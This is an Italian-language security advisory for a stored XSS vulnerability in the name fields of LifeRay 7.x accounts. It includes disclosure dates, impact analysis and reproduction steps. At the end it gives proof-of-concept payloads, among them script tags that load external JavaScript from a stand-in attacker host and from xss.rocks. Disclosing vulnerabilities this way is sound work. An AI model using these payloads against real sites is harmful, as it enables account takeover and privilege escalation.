XSS Archiviato Autenticato in LifeRay 7.2.1 GA2 tramite MyAccountPortlet eseguito dai Risultati di Ricerca

In LifeRay versione 7.1.0 fino a 7.2.1 GA2 i campi Nome, Secondo Nome e Cognome per gli account utente sono tutti vulnerabili a un problema di XSS Archiviato. Qualsiasi utente può modificare questi campi con un particolare payload XSS che verrà memorizzato nel database "infettando" l'utente. Il payload verrà quindi renderizzato quando un utente utilizza la funzione di ricerca per cercare altri utenti. Se l'utente infetto viene visualizzato come risultato di ricerca, il payload XSS verrà eseguito.

• Autore/Ricercatore: Casey Erdmann
• Data Scoperta: 10/17/2019
• Ultima Revisione: 10/05/2020
• Divulgazione Privata: 10/18/2019
• Divulgazione Pubblica: 01/27/2020 (Post sul Blog)
• Rilascio Corretto: 01/30/2020 Liferay Portal 7.3.0 GA1
• Rilascio Proof of Concept: 10/05/2020

Impatto

Questa vulnerabilità consente a un attaccante di eseguire codice arbitrario nel contesto di qualsiasi utente che attiva il payload XSS tramite la ricerca. In senso pratico, ciò può portare a un'escalation dei privilegi da un utente non privilegiato a un utente amministrativo, nonché a un movimento laterale nell'assunzione del controllo di altri account. Inoltre, qualsiasi cosa eseguibile tramite JavaScript può essere sfruttata nel contesto di un altro utente.

Come vedrai nel Proof of Concept (PoC), questo è ampiamente aperto poiché l'attaccante ha la capacità di caricare script esterni con facilità in un contesto predefinito.

La maggior parte dei cookie di sessione importanti sono contrassegnati come HTTPOnly, il che impedisce principalmente le tecniche di dirottamento della sessione semplici. Detto questo, va notato che gli utenti che visualizzano la pagina con browser più datati sono ancora più colpiti da ciò a causa degli attacchi XST.

Poiché gli utenti amministratori possono eseguire comandi Gogo Shell e Groovy Script, potrebbe anche essere possibile concatenare questo exploit con queste funzionalità normalmente previste per ottenere un RCE non intenzionale sul sistema host partendo da un utente non privilegiato.

Passaggi per Riprodurre

Affinché questa vulnerabilità venga attivata, devono essere soddisfatte due condizioni:

1. Devi avere accesso a un account utente di cui puoi modificare i campi Nome, Secondo Nome o Cognome.
2. Il tuo utente deve essere ricercabile in LifeRay. Di solito ciò significa semplicemente che deve essere aggiunto a un sito. Per impostazione predefinita, un utente può aggiungersi al sito base, il che significa che può rendersi ricercabile senza ulteriore autorizzazione.

Una volta soddisfatte queste condizioni, è possibile osservare i seguenti passaggi per sfruttare la vulnerabilità:

1. Accedi come l'utente a cui hai accesso
2. Naviga alla sezione Impostazioni Account
   • Fare clic sull'Icona del Profilo > Impostazioni Account
   • L'URL dovrebbe essere qualcosa come: http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????
3. Modifica i campi Nome, Secondo Nome o Cognome nel modulo con il tuo payload XSS (vedi esempi PoC sotto) e clicca su Salva
4. Se non sei già in un sito, puoi unirti a uno navigando su http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive e clicca sull'icona dei "tre puntini" sul lato destro e seleziona unisciti.
5. Cerca il tuo utente per attivare il payload XSS: http://mysite.com/web/guest/search?q=<my user>
   • Per testare e dimostrare l'impatto su un altro utente:
     • Accedi come secondo utente, cerca l'"utente infetto" e il payload XSS verrà eseguito anche nel suo contesto.

PoC Alert Semplice

• <<SCRIPT>alert("XSS");//<</SCRIPT>

PoC Script Esterno e Bypass del Filtro

• <SCRIPT SRC="//attacker.site/payload.js">
• Prova a fare una demo con xss.rocks!
  • <SCRIPT SRC="//xss.rocks/xss.js"/>

Versione report 4.0